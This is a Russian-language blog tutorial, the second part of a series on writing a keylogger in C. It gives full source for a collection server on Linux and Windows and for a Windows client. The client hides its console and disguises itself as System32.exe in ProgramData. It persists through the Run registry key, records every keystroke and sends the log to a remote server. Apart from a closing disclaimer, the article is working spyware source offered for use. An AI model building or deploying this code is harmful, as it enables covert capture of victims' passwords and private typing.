Взлом Кейлогер Кодинг Обучение

Пишем кейлоггер на C. Часть 2

Пишем кейлоггер на C. Часть 2

Продолжаем тему “Что можно написать на C?”.

Во второй, многими долгожданной, части мы решили рассказать вам про кейлоггер. Используя Win Api, мы создадим сервер и клиент, которые будут работать на Windows, а с помощью sys/socket.h и arpa/inet.h, мы напишем сервер, который будет работать на Linux.  В конце сравним размер клиента, с размером кейлоггера из этой статьи.

Сервер

Версия для Linux

Функция main выполняет настройку сокета/соединения и записывает полученные байты от клиента в файл.

  1. #include <netdb.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/socket.h>
  6. #include <dirent.h>
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #define SIZE 1024
  10. int main(){
  11.     // Конфигурация сервера для входящих подключений
  12.     struct sockaddr_in servaddr;
  13.     char buff[SIZE + 1];
  14.     // serversockfd  – дескриптор сокета сервера
  15.     // connfd Текущий – дескриптор соединения
  16.     // recv_return_code – содержит байт, который получает recv ()
  17.     int serversockfd, connfd, recv_return_code;
  18.     // Создаем сокет
  19.     serversockfd = socket(AF_INET, SOCK_STREAM, 0);
  20.     bzero(&servaddr, sizeof(servaddr));
  21.     bzero(buff, sizeof(buff));
  22.     servaddr.sin_family = AF_INET;
  23.     servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  24.     servaddr.sin_port = htons(4443);
  25.     // Запускаем ожидание приема соединения
  26.     bind(serversockfd, (struct sockaddr*)&servaddr, sizeof(servaddr));
  27.     listen(serversockfd, 1);
  28.     while (TRUE){
  29.         // Принимаем входящее соединение
  30.         connfd = accept(serversockfd, (struct sockaddr*)NULL, NULL);
  31.         FILE* logfile = fopen( “log.txt”, “ab+”);
  32.         // Получаем байты и записываем их в файл
  33.         while((recv_return_code = recv(connfd, buff, SIZE,0)) > 0 ) {
  34.                 fwrite(buff, 1, sizeof(buff), logfile);
  35.         }
  36.         close(connfd);
  37.         fclose(logfile);
  38.     }
  39. }

Компилируем и даем файлу нужные права для запуска:

gcc server.c -o keylogger_server && chmod +x keylogger_server

Проверяем работоспособность используя Netcat:

Байты, которые мы передаем через Netcat записываются в текстовый файл. Если всё работает можем переходить к написанию версии для Windows.

Версия для Windows

Работает по тому же принципу, что и версия для Линукс. Сначала настраиваем сокет, потом запускаем ожидание подключения и когда клиент подключился проверяем полученные байты, если они больше 0 – записываем в лог-файл.

  1. #include <winsock2.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #define SIZE 1024
  6. #pragma comment(lib,”ws2_32.lib”)
  7. // Функция выполняет настройку сокета/соединения и записывает байты, которые прислал клиент
  8. int main(){
  9.     /*
  10.     Конфигурация сервера для входящих подключений
  11.     sockaddr_in server  – дескриптор сокета сервера
  12.     connfd – дескриптор соединения
  13.     */
  14.     SOCKET s;
  15.       struct sockaddr_in server, client;
  16.     char buff[SIZE + 1];
  17.     int connfd, c;
  18.     while (TRUE){
  19.         WSADATA wsData;
  20.         /*
  21.         Функция WSAStartup инициализирует структуру данных WSADATA.
  22.         Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
  23.         каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
  24.         и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
  25.         */
  26.         WSAStartup(MAKEWORD(2,2),&wsData);
  27.         // Создаём сокет
  28.         s = socket(AF_INET , SOCK_STREAM , 0);
  29.         server.sin_family = AF_INET;
  30.         server.sin_addr.S_un.S_addr = INADDR_ANY;
  31.         server.sin_port = htons(4443);
  32.         // Запускаем ожидание приема соединения
  33.         bind(s ,(struct sockaddr *)&server , sizeof(server));
  34.         listen(s , 3);
  35.         c = sizeof(struct sockaddr_in);
  36.         printf(“Waiting for connection\n”);
  37.         connfd = accept(s , (struct sockaddr *)&client, &c);
  38.         // Если возникает ошибка на этапе приема соединения – выводим ее в консоль
  39.         if (connfd == INVALID_SOCKET){
  40.             printf(“Accept failed with error code : %d\n” , WSAGetLastError());
  41.         }
  42.         printf(“Connection established\n”);
  43.         FILE* logfile = fopen(“log.txt”, “ab+”);
  44.         // Получаем байты и записываем их в файл
  45.         while (recv(connfd, buff, SIZE,0) > 0 ) {
  46.             fwrite(buff, 1, sizeof(buff), logfile);
  47.         }
  48.         // Закрываем сокет
  49.         closesocket(s);
  50.         /*
  51.         Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
  52.         Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
  53.         Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
  54.         */
  55.         WSACleanup();
  56.         // Закрываем лог-файл
  57.         fclose(logfile);
  58.         // Очищаем переменные
  59.         bzero(&server, sizeof(server));
  60.         bzero(&connfd, sizeof(connfd));
  61.         bzero(buff, sizeof(buff));
  62.     }
  63. }

Если вам интересно, почему мы использовали  while (TRUE) вместо for (;;), вот наглядный пример того, что разницы между этими циклами нет:

https://habr.com/ru/post/198588/

Клиент

В клиенте мы реализуем добавление в автозагрузку через реестр, запись нажатых клавиш в файл и отправку файла на сервер.

  1. #include <Windows.h>
  2. #include <winuser.h>
  3. #include <winsock2.h>
  4. #include <unistd.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <time.h>
  8. #include <unistd.h>
  9. #pragma comment(lib, “Ws2_32.lib”)
  10. #define OUTPUT_FILE_NAME “C:\\ProgramData\\Systemlog.txt”
  11. #define KEY_DOWN -32767
  12. #define DESTINATION_IP “192.168.0.103”
  13. #define PORT 4443
  14. void writeToFile(int keystroke);
  15. void sendCollectedData();
  16. /*
  17. Эта функция скрывает окно консоли, копирует себя в “C:/ProgramData/” как System32.exe
  18. и добавляет в автозагрузку только что созданную копию System32.exe
  19. после чего запускает кейлоггер и когда timer станет равен SEND_COLLECTED_DATA_DELAY отправит нажатые клавиши на сервер.
  20. console_window – извлекает дескриптор окна, используемый консолью.
  21. timer – псевдотаймер содержащий количество нажатых клавиш.
  22. SEND_COLLECTED_DATA_DELAY – когда таймер достигает этого порога – мы отправим данные на сервер.
  23. copied_exec_path – содержит каталог, в кооторый будет копирована программа.
  24. */
  25. int main(){
  26.     HWND console_window = GetConsoleWindow();
  27.     // Прячем окно консоли, сразу после запуска
  28.     ShowWindow(console_window, 0);
  29.     long timer = 0;
  30.     const int SEND_COLLECTED_DATA_DELAY = 1000;
  31.     char inputCharacter;
  32.     char path[MAX_PATH];
  33.     // Get own path/name
  34.     GetModuleFileName(NULL, path, MAX_PATH);
  35.     // Проверяем существует ли созданный ранее файл C:\\ProgramData\\System32.exe
  36.     if(access(“C:/ProgramData/System32.exe”, F_OK) != 0) {
  37.         // Если файл не был обнаружен копируем себя в C:/ProgramData/
  38.         CopyFile(path, “C:/ProgramData/System32.exe”, FALSE);
  39.         // Добавляем только что созданную копию в автозагрузку
  40.         HKEY hKey;
  41.         RegOpenKeyExA(HKEY_CURRENT_USER, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0, KEY_WRITE, &hKey);
  42.         const unsigned char copied_exec_path[28] = “C:\\ProgramData\\System32.exe”;
  43.         RegSetValueExA (hKey, “System32”, 0, REG_SZ, copied_exec_path, sizeof (copied_exec_path));
  44.         RegCloseKey (hKey);
  45.     }
  46.     // Запускаем цикл и записываем нажатые клавиши
  47.     for(;;){
  48.         Sleep(1);
  49.         for (inputCharacter = 8; inputCharacter < 256; inputCharacter++) {
  50.             // Если клавиша нажата – записываем ее в лог-файл
  51.             if (GetAsyncKeyState(inputCharacter) == KEY_DOWN) {
  52.                 writeToFile(inputCharacter);
  53.                 timer ++;
  54.             }
  55.             // Когда timer становится больше или равняется SEND_COLLECTED_DATA_DELAY – мы отправляем данные на сервер и обнуляем timer.
  56.             if (timer >= SEND_COLLECTED_DATA_DELAY){
  57.                 sendCollectedData();
  58.                 timer = 0;
  59.             }
  60.         }
  61.     }
  62.     return 0;
  63. }
  64. /*
  65. Записывает нажатые клавиши в лог-файл.
  66. Имеет дополнительную обработку, потому что Windows API по какой-то причине
  67. отображает цифровую клавиатуру и некоторые другие клавиши как строчные буквы.
  68. */
  69. void writeToFile(int keystroke) {
  70.     FILE *out;
  71.     out = fopen(OUTPUT_FILE_NAME, “a+”);
  72.     if (keystroke == VK_SHIFT)
  73.         fprintf(out, “%s”, ” [SHIFT] “);
  74.     else if (keystroke == VK_CAPITAL)
  75.         fprintf(out, “%s”, ” [CAPS] “);
  76.     else if (keystroke == VK_BACK)
  77.         fprintf(out, “%s”, ” [BACKSPACE] “);
  78.     else if (keystroke == VK_LBUTTON)
  79.         fprintf(out, “%s”, ” [LCLICK]\n”);
  80.     else if (keystroke == VK_RETURN)
  81.         fprintf(out, “%s”, ” [ENTER]\n”);
  82.     else if (keystroke == VK_ESCAPE)
  83.         fprintf(out, “%s”, “[ ESCAPE]\n”);
  84.     else if (keystroke == VK_CONTROL)
  85.         fprintf(out, “%s”, “[\nCTRL] “);
  86.     else if (keystroke == VK_SPACE)
  87.         fprintf(out, “%s”, ” “);
  88.     else if (keystroke == VK_NUMPAD0)
  89.         fprintf(out, “%s”, “[NUMPAD0]”);
  90.     else if (keystroke == VK_NUMPAD1)
  91.         fprintf(out, “%s”, “[NUMPAD1]”);
  92.     else if (keystroke == VK_NUMPAD2)
  93.         fprintf(out, “%s”, “[NUMPAD2]”);
  94.     else if (keystroke == VK_NUMPAD3)
  95.         fprintf(out, “%s”, “[NUMPAD3”);
  96.     else if (keystroke == VK_NUMPAD4)
  97.         fprintf(out, “%s”, “[NUMPAD4]”);
  98.     else if (keystroke == VK_NUMPAD5)
  99.         fprintf(out, “%s”, “[NUMPAD5]”);
  100.     else if (keystroke == VK_NUMPAD6)
  101.         fprintf(out, “%s”, “[NUMPAD6]”);
  102.     else if (keystroke == VK_NUMPAD7)
  103.         fprintf(out, “%s”, “[NUMPAD7]”);
  104.     else if (keystroke == VK_NUMPAD8)
  105.         fprintf(out, “%s”, “[NUMPAD8]”);
  106.     else if (keystroke == VK_NUMPAD9)
  107.         fprintf(out, “%s”, “[NUMPAD9]”);
  108.     else
  109.         fprintf(out, “%s”, &keystroke);
  110.     fclose(out);
  111.     Sleep(10);
  112. }
  113. void sendCollectedData(){
  114.     int fread_return_code;
  115.     struct sockaddr_in server;
  116.     WSADATA wsData;
  117.     SOCKET s;
  118.     /*
  119.     Функция WSAStartup инициализирует структуру данных WSADATA.
  120.     Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
  121.     каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
  122.     и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
  123.     */
  124.     WSAStartup(MAKEWORD(2,2),&wsData);
  125.     s = socket(AF_INET , SOCK_STREAM , 0);
  126.     char buff[1024];
  127.     // Создаём сокет
  128.     server.sin_addr.s_addr = inet_addr(DESTINATION_IP);
  129.     server.sin_family = AF_INET;
  130.     server.sin_port = htons(PORT);
  131.     connect(s, (struct sockaddr *)&server, sizeof(server));
  132.     bzero(buff, sizeof(buff));
  133.     // Читаем и передаем данные из файла
  134.     FILE *collected_data;
  135.     collected_data = fopen(OUTPUT_FILE_NAME, “rb”);
  136.     // Отправляем данные, если они больше 0
  137.     while(fread_return_code = fread(buff, 1, sizeof(buff), collected_data) > 0){
  138.         send(s, buff, sizeof(buff), 0);
  139.     }
  140.     fclose(collected_data);
  141.     closesocket(s);
  142.     /*
  143.     Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
  144.     Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
  145.     Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
  146.     */
  147.     WSACleanup();
  148.     // Очищаем файл после отправки
  149.     fclose(fopen(OUTPUT_FILE_NAME, “w”));
  150. }

Для компиляции клиента и сервера для Windows нужно добавить дополнительную библиотеку lws2_32. Ws2_32 (ws2_32.dll) – библиотека для работы с сокетами в Windows:

После компиляции запускаем сервер, а потом клиент и когда количество нажатых клавиш станет больше значения SEND_COLLECTED_DATA_DELAY, содержимое лог-файла отправиться на сервер, после чего файл будет перезаписан.

Скриншот работы:

Сверху справа файл, в котором я писал текст, файл снизу – это лог-файл, который создал наш сервер. Тут же вы можете увидеть размер клиента и сервера.

Чтобы проверить работает наш клиент или нет, можете закоментировать следующие строки:

HWND console_window = GetConsoleWindow();

ShowWindow(console_window, 0);

Их задача – убрать окно консоли при запуске.

Кейлоггер из прошлой статьи, который отправляет лог-файл через Gmail:

Даже на таком, достаточно простом, примере как кейлоггер заметна разница, С опять победил. На этом статья подходит к концу, если вы хотите предложить идею для следующей статьи, то можете это сделать у нас в чате @badbclub.

Данная статья написана только в образовательных целях, автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Leave a Reply

Your email address will not be published. Required fields are marked *